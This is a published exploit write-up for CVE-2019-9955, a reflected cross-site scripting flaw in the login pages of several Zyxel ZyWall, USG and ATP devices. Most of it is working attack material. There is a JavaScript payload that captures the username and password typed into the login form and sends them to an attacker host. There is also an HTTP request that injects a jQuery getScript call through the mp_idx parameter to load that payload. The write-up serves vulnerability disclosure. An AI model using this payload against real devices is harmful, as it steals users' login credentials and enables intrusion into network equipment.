# Exploit Title: Reflected XSS on Zyxel login pages
# Date: 10 Apr 2019
# Exploit Author: Aaron Bishop
# Vendor Homepage: https://www.zyxel.com/us/en/
# Version: V4.31
# Tested on: ZyWall 310, ZyWall 110, USG1900, ATP500, USG40 - weblogin.cgi, webauth_relogin.cgi
# CVE : 2019-9955
1. Description
==============
Several Zyxel devices are vulnerable to a reflected Cross-Site Scripting via the
mp_idx parameter on weblogin.cgi and webauth_relogin.cgi.
2. Proof of Concept
=============
Host a malicious file JavaScript file named 'z', or any other single character,
locally. The contents of 'z' for the following example are:
-----
$("button").click(function() {
$.get("//$LHOST", { username: $("input:text").val(), password: $("input:password").val(), host: location.hostname});
});
-----
Close the mp_idx variable with "; and Use the getScript functionality of jQuery
to include the malicious file:
Request:
GET /?mobile=1&mp_idx=%22;$.getScript(%27//$LHOST/z%27);// HTTP/1.1
Host: $RHOST
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Response:
HTTP/1.1 200 OK
Date: Wed, 10 Apr 2019 23:13:39 GMT
Cache-Control: no-cache, private
Pragma: no-cache
Expires: Mon, 16 Apr 1973 13:10:00 GMT
Connection: close
Content-Type: text/html
Content-Length: 7957
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